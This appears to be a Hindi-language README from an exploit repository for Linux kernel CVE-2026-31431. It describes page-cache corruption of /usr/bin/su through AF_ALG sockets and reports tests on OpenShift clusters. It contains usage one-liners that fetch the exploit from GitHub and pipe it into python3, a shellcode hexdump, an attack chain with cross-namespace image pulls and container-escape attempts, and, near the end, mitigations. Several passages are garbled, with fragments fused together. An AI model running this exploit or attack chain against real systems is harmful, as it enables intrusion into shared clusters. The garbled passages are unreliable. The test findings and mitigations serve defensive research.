
लिनक्स कर्नेल CVE-2026-31431 के लिए एक्सप्लॉइट, जो authencesn AEAD हेरफेर के माध्यम से पेज कैश भ्रष्टाचार का कारण बनता है, जो कंटेनरों और OpenShift वातावरणों में विशेषाधिकार वृद्धि को लक्षित करता है।
authencesn AEAD हेरफेर के माध्यम से Linux कर्नेल पेज कैश भ्रष्टाचार।
RHEL 9.6 कर्नेल के साथ कई OpenShift 4.20.16 क्लस्टरों पर व्यापक परीक्षण के बाद:
पूर्ण विवरण के लिए व्यापक परीक्षण परिणाम अनुभाग देखें।
CVE-2026-31431 authencesn AEAD क्रिप्टोग्राफिक कार्यान्वयन में एक Linux कर्नेल भेद्यता है जो विशेषाधिकार-रहित प्रक्रियाओं को AF_ALG सॉकेट और splice() syscall हेरफेर के माध्यम से पठनीय फाइलों के पेज कैश को भ्रष्ट करने की अनुमति देती है।
परीक्षण से पता चलता है: पेज कैश भ्रष्टाचार विश्वसनीय रूप से काम करता है, लेकिन हमारे परीक्षण वातावरण में RHEL 9.6 कर्नेल पर विशेषाधिकार वृद्धि नहीं होती है।
CVSS स्कोर: 7.8 (उच्च)
प्रभावित: authencesn समर्थन वाले Linux कर्नेल संस्करण (2017-2026)
29 अप्रैल, 2026
splice() syscall रैपर शामिल है/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### स्थानीय फ़ाइल से```bash
python3 exploit.py
su
क्या होगा:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**पेज कैश सत्यापन (भ्रष्टाचार की पुष्टि करता है):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
क्या नहीं होगा (परीक्षण के आधार पर):```bash
su
id -u
**निष्कर्ष:** पेज कैश भ्रष्टाचार सफल होता है, लेकिन विशेषाधिकार वृद्धि विफल हो जाती है।
## तकनीकी विवरण
### भेद्यता
Linux कर्नेल के `authencesn` (प्रमाणित एन्क्रिप्शन विद एसोसिएटेड डेटा - विस्तारित अनुक्रम संख्या) कार्यान्वयन में इसके इन-प्लेस संचालन हैंडलिंग में एक दोष है। AF_ALG सॉकेट पर सबमिट किए गए AEAD संचालन को संसाधित करते समय, एक पेज-कैश पेज कर्नेल की लिखने योग्य गंतव्य स्कैटरलिस्ट में समाप्त हो सकता है।
### शोषण तकनीक
1. **AF_ALG सॉकेट बनाएं** `authencesn(hmac(sha256),cbc(aes))` के साथ
2. **AEAD पैरामीटर कॉन्फ़िगर करें** (कुंजी, authsize)
3. **लक्षित setuid बाइनरी खोलें** (जैसे, `/usr/bin/su`)
4. **splice() का उपयोग करें** बाइनरी को पेज कैश में लाने के लिए
5. **इन-प्लेस AEAD संचालन ट्रिगर करें** जिससे पेज कैश में लेखन हो
6. **शेलकोड लिखें** एक बार में 4 बाइट्स
7. **संशोधित बाइनरी निष्पादित करें** रूट प्राप्त करने के लिए
### शेलकोड
शोषण एक 160-बाइट शेलकोड का उपयोग करता है जो `/usr/bin/su` को पैच करता है:
- पासवर्ड प्रमाणीकरण छोड़ने के लिए
- रूट शेल एक्सेस प्रदान करने के लिए
- अनविशेषाधिकार प्राप्त उपयोगकर्ताओं के लिए सामान्य कार्यक्षमता बनाए रखने के लिए
## Python 3.9 संगतता
Python 3.9 और पुराने संस्करणों में मानक लाइब्रेरी में `os.splice()` नहीं है। इस शोषण में ctypes-आधारित कार्यान्वयन शामिल है:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
यह एक्सप्लॉइट इन पर काम करता है:
नोड कॉन्फ़िगरेशन:
परीक्षण परिणाम:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### परीक्षण वातावरण 2: नया OpenShift क्लस्टर (सत्यापन परीक्षण)
**क्लस्टर:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**नोड कॉन्फ़िगरेशन:**
- कर्नेल: 5.14.0-570.96.1.el9_6.x86_64 (परीक्षण 1 के समान)
- OpenShift: 4.20.16
- SCC: restricted-v2 (सत्यापित)
- UID: 1000810000 (यूज़र नेमस्पेस)
- क्षमताएँ: 0x0000000000000000 (शून्य)
**परीक्षण परिणाम:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
संगति: स्वतंत्र क्लस्टरों में 100% पुनरुत्पादनीय परिणाम
परिदृश्य A: hostPath वॉल्यूम के साथ (कंटेनर एस्केप संभव)```yaml volumes:
परिणाम: ✅ **कंटेनर एस्केप** - होस्ट पेज कैश को संशोधित करता है (डिवाइस 33, आईनोड 4288)
**परिदृश्य B: Restricted-v2 SCC (कोई hostPath नहीं)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
परिणाम: ❌ कोई कंटेनर एस्केप नहीं - केवल कंटेनर ओवरले को प्रभावित करता है (अलग inode)
महत्वपूर्ण निष्कर्ष: hostPath एक्सेस (क्षमताओं का नहीं) कंटेनर एस्केप के लिए निर्धारण कारक है।
संभावित स्पष्टीकरण (आगे शोध की आवश्यकता है):
रीड बनाम एक्ज़ीक्यूट कोड पाथ
mmap(PROT_READ) ऑपरेशन को प्रभावित करता हैmmap(PROT_EXEC) भ्रष्ट कैश को बायपास कर सकती हैंमेमोरी सुरक्षा
कर्नेल संस्करण विशिष्ट
| परीक्षण | OpenShift 4.20 #1 | OpenShift 4.20 #2 | स्थिति |
|---|---|---|---|
| AF_ALG सॉकेट एक्सेस | ✅ | ✅ | काम करता है |
| पेज कैश भ्रष्टाचार | ✅ | ✅ | काम करता है |
| शेलकोड इंजेक्शन | ✅ | ✅ | काम करता है |
| शेलकोड दृश्यमान (रीड) | ✅ | ✅ | काम करता है |
| UID परिवर्तन (विशेषाधिकार वृद्धि) | ❌ | ❌ | विफल |
| कोड निष्पादन | ❌ | ❌ | विफल |
| कंटेनर एस्केप (restricted-v2) | ❌ | ❌ | अवरुद्ध |
निष्कर्ष: कर्नेल भेद्यता वास्तविक है (पेज कैश भ्रष्टाचार सिद्ध), लेकिन व्यावहारिक शोषण सीमित है।
| सिस्टम | कर्नेल | पेज कैश भ्रष्टाचार | विशेषाधिकार वृद्धि | नोट्स |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ हाँ | ❌ नहीं | OpenShift 4.20.16 वर्कर्स |
| OpenShift 4.20 कंटेनर | 5.14.0-570.96.1.el9_6 | ✅ हाँ | ❌ नहीं | restricted-v2 SCC |
नोट: परीक्षण केवल RHEL 9.6 कर्नेल तक सीमित। अन्य वितरणों/संस्करणों पर व्यवहार सत्यापित नहीं।
RHEL CoreOS 9.4 चलाने वाले OpenShift 4.20 क्लस्टर पर सफलतापूर्वक परीक्षण किया गया। यह अनुभाग नेमस्पेस अलगाव बायपास और कंटेनर समझौते का दस्तावेजीकरण करता है।
⚠️ महत्वपूर्ण सुधार: प्रारंभिक परीक्षण ने गलत तरीके से /proc/1/root के माध्यम से होस्ट फाइलसिस्टम एक्सेस का दावा किया। यह गलत था - एक अलग कंटेनर में /proc/1/root कंटेनर की अपनी फाइलसिस्टम को इंगित करता है, OpenShift वर्कर नोड होस्ट को नहीं। विस्तृत विश्लेषण के लिए attacks/README.md देखें।
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### चरण 1: नेमस्पेस आइसोलेशन बायपास
**भेद्यता:** OpenShift आंतरिक रजिस्ट्री उचित RBAC प्रवर्तन के बिना क्रॉस-नेमस्पेस इमेज पुल की अनुमति देती है।
**शोषण:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
परिणाम:
openshift/cli इमेज को openshift नेमस्पेस से खींचा गयाप्रभाव: टेनेंट-से-टेनेंट लेटरल मूवमेंट और विशेषाधिकार प्राप्त टूलिंग एक्सेस की अनुमति देता है।
डिप्लॉयमेंट:```bash
oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "
**परिणाम:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
एक्सप्लॉइट के बाद की क्षमताएँ:
वास्तविकता जाँच - /proc/1/root होस्ट नहीं है:```bash
stat -c '%i' /tmp/test.txt
stat -c '%i' /proc/1/root/tmp/test.txt
readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt
**कंटेनर OS विवरण:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
कंटेनर में बनाए गए स्क्रिप्ट्स (attacks/ डायरेक्टरी में उपलब्ध):
1. कंटेनर रिकॉनिसेंस (recon.sh - 1425 बाइट्स)
2. लेटरल मूवमेंट स्क्रिप्ट (lateral.sh - 1754 बाइट्स)
3. असफल होस्ट एक्सप्लॉइटेशन प्रयास
host-rootkit.py - /proc/1/root/usr/bin/su में बैकडोर डालने के प्रयास
modprobe-escape.py - कर्नेल मॉड्यूल एस्केप के प्रयास
trigger-rootkit.sh - बैकडोर किए गए su को ट्रिगर करता है
क्या काम किया बनाम क्या नहीं, इसका पूर्ण विश्लेषण attacks/README.md में देखें।
कनेक्टिविटी परीक्षण:```bash
curl -s https://www.google.com
**पार्श्व गति के अवसर:**
- ✅ पूर्ण इंटरनेट एक्सेस (टूल डाउनलोड करना, C2 संचार, डेटा निष्कासन)
- ✅ आंतरिक API एक्सेस (क्लस्टर संसाधनों की गणना करना)
- ✅ आंतरिक रजिस्ट्री एक्सेस (इमेज पॉइज़निंग हमले)
- ✅ पॉड नेटवर्क के माध्यम से क्रॉस-नोड स्कैनिंग
### अवरुद्ध होस्ट एस्केप तकनीकें
ये तकनीकें आज़माई गईं लेकिन OpenShift सुरक्षा नियंत्रणों द्वारा अवरुद्ध कर दी गईं:
**1. nsenter (यूज़र नेमस्पेस रोकता है)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot (इसके लिए CAP_SYS_CHROOT आवश्यक है)```bash chroot /proc/1/root /bin/bash
**3. कर्नेल मॉड्यूल लोडिंग (कोई क्षमताएँ नहीं + RHCOS हार्डनिंग)**
- RHCOS पर कोई `insmod`, `modprobe`, `kmod` बाइनरी नहीं हैं
- `/lib/modules` खाली है (कंटेनर-अनुकूलित OS)
- `CAP_SYS_MODULE` उपलब्ध नहीं है
- `/proc/sys/kernel/modprobe` केवल-पठनीय माउंट किया गया है
**4. cgroup release_agent (केवल-पठनीय माउंट किया गया)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. /proc/sys हेरफेर (रीड-ओनली फाइलसिस्टम)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
### हमने वास्तव में क्या हासिल किया
✅ **नेमस्पेस आइसोलेशन बायपास**
- आंतरिक रजिस्ट्री से क्रॉस-नेमस्पेस इमेज पुलिंग
- विशेषाधिकार प्राप्त कंटेनर इमेज तक पहुंच (openshift/cli)
✅ **कंटेनर में पेज कैश भ्रष्टाचार**
- CVE-2026-31431 के माध्यम से कंटेनर के `/usr/bin/su` पेज कैश को संशोधित किया
- 160-बाइट शेलकोड इंजेक्शन की पुष्टि हुई (hexdump में दिखाई देता है)
- भ्रष्टाचार कंटेनर फाइलों पर READ ऑपरेशन को प्रभावित करता है
✅ **पॉड से नेटवर्क एक्सेस**
- पूर्ण इंटरनेट कनेक्टिविटी (exfiltration, C2, टूल डाउनलोड)
- आंतरिक API सर्वर एक्सेस (RBAC द्वारा सीमित)
- आंतरिक रजिस्ट्री एक्सेस (इमेज पॉइज़निंग की संभावना)
- पॉड नेटवर्क के माध्यम से क्रॉस-पॉड स्कैनिंग
❌ **विशेषाधिकार वृद्धि - विफल**
- पेज कैश भ्रष्ट हुआ लेकिन कोई रूट एक्सेस प्राप्त नहीं हुआ
- UID अपरिवर्तित रहता है (यूज़र नेमस्पेस UID ~1000000+)
- विशेषाधिकार प्राप्त ऑपरेशन निष्पादित नहीं कर सकते
- /etc/shadow या अन्य प्रतिबंधित फाइलों तक कोई पहुंच नहीं
❌ **होस्ट फाइलसिस्टम एक्सेस - विफल**
- `/proc/1/root` **कंटेनर** के रूट की ओर इशारा करता है, होस्ट की ओर नहीं
- OpenShift वर्कर नोड फाइलसिस्टम तक कोई वास्तविक पहुंच नहीं
- स्क्रिप्ट कंटेनर के `/tmp` में तैनात की गईं, होस्ट के `/tmp` में नहीं
- डिवाइस/इनोड आइसोलेशन होस्ट पेज कैश एक्सेस को रोकता है
❌ **पूर्ण होस्ट एस्केप - अवरुद्ध**
- यूज़र नेमस्पेस आइसोलेशन प्रभावी
- शून्य क्षमताएं nsenter/chroot/host एक्सेस को रोकती हैं
- SCC विशेषाधिकार प्राप्त पॉड निर्माण को अवरुद्ध करता है
- RHCOS हार्डनिंग मॉड्यूल लोडिंग को रोकता है
- restricted-v2 कंटेनर एस्केप को रोकता है
### OpenShift सुरक्षा मूल्यांकन
**नियंत्रण जो काम कर गए ✅**
- सिक्योरिटी कॉन्टेक्स्ट कंस्ट्रेंट्स (SCC) - कंटेनर एस्केप को रोका
- यूज़र नेमस्पेस - पेज कैश को कंटेनर ओवरले में आइसोलेट किया
- शून्य क्षमताएं - कर्नेल एक्सप्लॉइट के बावजूद होस्ट एक्सेस को रोका
- SELinux प्रवर्तन - कंटेनर आइसोलेशन बनाए रखा
- रीड-ओनली /proc/sys - कर्नेल हेरफेर प्रयासों को अवरुद्ध किया
- RHCOS हार्डनिंग - कोई मॉड्यूल लोडिंग क्षमता नहीं
**नियंत्रण जो आंशिक रूप से काम कर गए ⚠️**
- Seccomp RuntimeDefault - सक्रिय लेकिन AF_ALG सॉकेट की अनुमति देता है
- क्षमता ड्रॉपिंग - प्रभावी लेकिन पेज कैश भ्रष्टाचार को नहीं रोकता
**नियंत्रण जो विफल रहे ❌**
- नेमस्पेस RBAC - क्रॉस-नेमस्पेस इमेज पुल की अनुमति दी
- कर्नेल सुरक्षा - AF_ALG इंटरफ़ेस कंटेनरों से सुलभ
- सिस्कॉल फ़िल्टरिंग - splice() डिफ़ॉल्ट seccomp द्वारा प्रतिबंधित नहीं
**समग्र मूल्यांकन:**
जबकि CVE-2026-31431 एक वास्तविक कर्नेल भेद्यता है, OpenShift का डिफेंस-इन-डेप्थ दृष्टिकोण (SCC + यूज़र नेमस्पेस + क्षमता ड्रॉपिंग + फाइलसिस्टम आइसोलेशन) ने सार्थक शोषण को रोका। एक्सप्लॉइट पेज कैश को भ्रष्ट करता है लेकिन restricted-v2 पॉड्स से कोई विशेषाधिकार वृद्धि या कंटेनर एस्केप प्राप्त नहीं करता।
### OpenShift के लिए सिफारिशें
**1. AF_ALG सॉकेट को ब्लॉक करें**```yaml
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. इमेज रजिस्ट्री RBAC लागू करें```bash
oc policy add-role-to-user system:image-puller
--namespace=
**3. उन्नत Seccomp प्रोफ़ाइल**
खतरनाक syscalls को ब्लॉक करें:
- `socket(AF_ALG, ...)` - फ़ैमिली 38
- `splice()` को केवल विश्वसनीय फ़ाइल डिस्क्रिप्टर तक सीमित करें
- `init_module`, `finit_module` को ब्लॉक करें यदि पहले से ब्लॉक नहीं हैं
**4. रनटाइम मॉनिटरिंग**
इन पर अलर्ट करें:
- कंटेनरों में AF_ALG socket निर्माण
- क्रॉस-नेमस्पेस इमेज पुल
- संदिग्ध `splice()` syscall पैटर्न
- कंटेनर समझौता संकेतक (अप्रत्याशित रूट प्रोसेस)
### पूर्ण आक्रमण दस्तावेज़ीकरण
पूर्ण आक्रमण श्रृंखला दस्तावेज़ीकरण के लिए जिसमें शामिल हैं:
- शोषण की समयरेखा
- MITRE ATT&CK मैपिंग
- विस्तृत तकनीकी विश्लेषण
- सभी टोही स्क्रिप्ट
देखें:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - क्या काम किया बनाम क्या नहीं, इसका विस्तृत विश्लेषण
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - मूल दस्तावेज़ीकरण (इसमें त्रुटियाँ हैं, सुधार के लिए attacks/README.md देखें)
## शमन उपाय
### तत्काल```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
AF_ALG सॉकेट निर्माण को ब्लॉक करें:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }
### कर्नेल पैच
विक्रेता पैच लागू करें:
- Red Hat: https://access.redhat.com/security/cve/cve-2026-31431 पर निगरानी रखें
- Ubuntu: `apt update && apt upgrade linux-image-*`
- अपस्ट्रीम: authencesn को आउट-ऑफ-प्लेस संचालनों में वापस लाने वाला कर्नेल 6.x+
## अक्सर पूछे जाने वाले प्रश्न
### प्रश्न: क्या यह एक्सप्लॉइट मुझे रूट एक्सेस देता है?
**उत्तर:** नहीं - RHEL 9.6 कर्नेल (5.14.0-570.96.1) पर व्यापक परीक्षण के आधार पर, एक्सप्लॉइट कर्नेल पेज कैश को सफलतापूर्वक दूषित करता है लेकिन विशेषाधिकार वृद्धि प्राप्त नहीं करता है। बैकडोर बाइनरी निष्पादित करने के बाद UID अपरिवर्तित रहता है।
### प्रश्न: क्या मैं प्रतिबंधित Kubernetes/OpenShift कंटेनर से बच सकता हूँ?
**उत्तर:** नहीं (प्रतिबंधित-v2 SCC के साथ) - पेज कैश भ्रष्टाचार कंटेनर के ओवरले फाइलसिस्टम तक सीमित है। कंटेनर से बचने के लिए hostPath या समान वॉल्यूम के माध्यम से साझा होस्ट संसाधनों तक पहुंच की आवश्यकता होती है। प्रतिबंधित-v2 SCC होस्ट संसाधन पहुंच को अवरुद्ध करके प्रभावी रूप से बचाव को रोकता है।
### प्रश्न: एक्सप्लॉइट "रूट" का दावा क्यों करता है लेकिन परीक्षण दिखाता है कि यह काम नहीं करता?
**उत्तर:** एक्सप्लॉइट कोड CVE प्रकटीकरण और सैद्धांतिक विश्लेषण के आधार पर लिखा गया था। RHEL 9.6 कर्नेल पर हमारे वास्तविक-विश्व परीक्षण से पता चला:
- पेज कैश भ्रष्टाचार काम करता है ✅ (hexdump के माध्यम से सिद्ध)
- दूषित कैश से कोड निष्पादन काम नहीं करता ❌ (UID अपरिवर्तित)
यह निम्न कारणों से हो सकता है:
- कर्नेल संस्करण अंतर (RHEL 9.6 में सुरक्षा हो सकती है)
- W^X मेमोरी सुरक्षा प्रवर्तन
- निष्पादन बनाम पठन मेमोरी कोड पथ में अंतर
### प्रश्न: क्या यह सभी Linux कर्नेल पर काम करता है?
**उत्तर:** अज्ञात - परीक्षण निम्न तक सीमित था:
- RHEL CoreOS 9.6 (कर्नेल 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 वर्कर नोड्स
अन्य वितरणों/कर्नेल संस्करणों पर व्यवहार सत्यापित नहीं किया गया है। मूल CVE अनुसंधान स्थितियाँ भिन्न हो सकती हैं।
### प्रश्न: क्या मुझे अभी भी अपने सिस्टम को पैच करना चाहिए?
**उत्तर:** हाँ - बिल्कुल। भले ही विशेषाधिकार वृद्धि प्राप्त नहीं हुई:
1. कर्नेल भेद्यता वास्तविक है (पेज कैश भ्रष्टाचार की पुष्टि हुई)
2. व्यवहार अन्य कर्नेल संस्करणों पर भिन्न हो सकता है
3. hostPath वॉल्यूम के साथ, कंटेनर से बचाव संभव है
4. गहराई में रक्षा के लिए सभी भेद्यताओं को समाप्त करना आवश्यक है
5. भविष्य के अनुसंधान कोड निष्पादन प्राप्त करने के तरीके खोज सकते हैं
सुरक्षा के लिए कर्नेल पैचिंग अनिवार्य है।
### प्रश्न: आपने अपने परीक्षण में वास्तव में क्या सिद्ध किया?
**उत्तर:** 2 स्वतंत्र OpenShift क्लस्टरों पर हमारे व्यापक परीक्षण ने सिद्ध किया:
✅ **पुष्टि की गई:**
- CVE-2026-31431 कर्नेल भेद्यता शोषण योग्य है
- पेज कैश को विशेषाधिकार-रहित कंटेनरों (शून्य क्षमताओं) से दूषित किया जा सकता है
- प्रतिबंधित-v2 SCC के बावजूद AF_ALG इंटरफ़ेस सुलभ है
- शेलकोड इंजेक्शन सफल होता है (hexdump में दिखाई देता है)
❌ **काम नहीं किया:**
- विशेषाधिकार वृद्धि (UID अपरिवर्तित)
- दूषित पेज कैश से कोड निष्पादन
- प्रतिबंधित-v2 पॉड्स से कंटेनर से बचाव
- hostPath के बिना होस्ट फाइलसिस्टम पहुंच
🛡️ **गहराई में रक्षा प्रभावी:**
- SCC + यूज़र नेमस्पेस + क्षमता हटाने ने शोषण को रोका
- कई सुरक्षा परतों ने विस्फोट त्रिज्या सीमित की
- कर्नेल भेद्यता के बावजूद कंटेनर अलगाव बना रहा
## सुरक्षा सूचना
यह रिपॉजिटरी निम्न के लिए एक कर्नेल भेद्यता का दस्तावेजीकरण करती है:
- ✅ अधिकृत सुरक्षा परीक्षण और अनुसंधान
- ✅ भेद्यता सत्यापन और विश्लेषण
- ✅ सुरक्षा जागरूकता और शिक्षा
- ✅ रक्षात्मक उपाय विकास
**निष्कर्ष आधारित:**
- अधिकृत सिस्टम पर नियंत्रित परीक्षण
- कई स्वतंत्र क्लस्टर वातावरण
- व्यापक सत्यापन और पुनरुत्पादकता परीक्षण
**स्पष्ट प्राधिकरण के बिना सिस्टम पर उपयोग न करें।**
## संदर्भ
- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **प्रकटीकरण:** https://copy.fail
- **कर्नेल पैच:** Linux कर्नेल कमिट (1 अप्रैल, 2026)
- **Red Hat सलाह:** https://access.redhat.com/security/cve/cve-2026-31431
## श्रेय
- **CVE खोज:** Taeyang Lee (Theori)
- **मूल विश्लेषण:** Xint Code अनुसंधान टीम
- **एक्सप्लॉइट कार्यान्वयन:** Sean Rickerd
- **व्यापक परीक्षण और सत्यापन:** Sean Rickerd
- 2 स्वतंत्र OpenShift 4.20.16 क्लस्टर
- RHEL CoreOS 9.6 कर्नेल 5.14.0-570.96.1
- वास्तविक बनाम दावा किए गए व्यवहार का दस्तावेजीकरण
- प्रतिबंधित-v2 SCC प्रभावशीलता सत्यापित
## लाइसेंस
केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए। अपने जोखिम पर उपयोग करें।
---
**रिपॉजिटरी स्थिति:** वास्तविक-विश्व परीक्षण परिणामों के साथ अद्यतन (1 मई, 2026)
**परीक्षण:** 2 स्वतंत्र OpenShift क्लस्टरों पर पूर्ण
**मुख्य निष्कर्ष:** पेज कैश भ्रष्टाचार की पुष्टि हुई, विशेषाधिकार वृद्धि प्राप्त नहीं हुई
**अनुशंसा:** सीमित व्यावहारिक शोषण के बावजूद कर्नेल पैच करें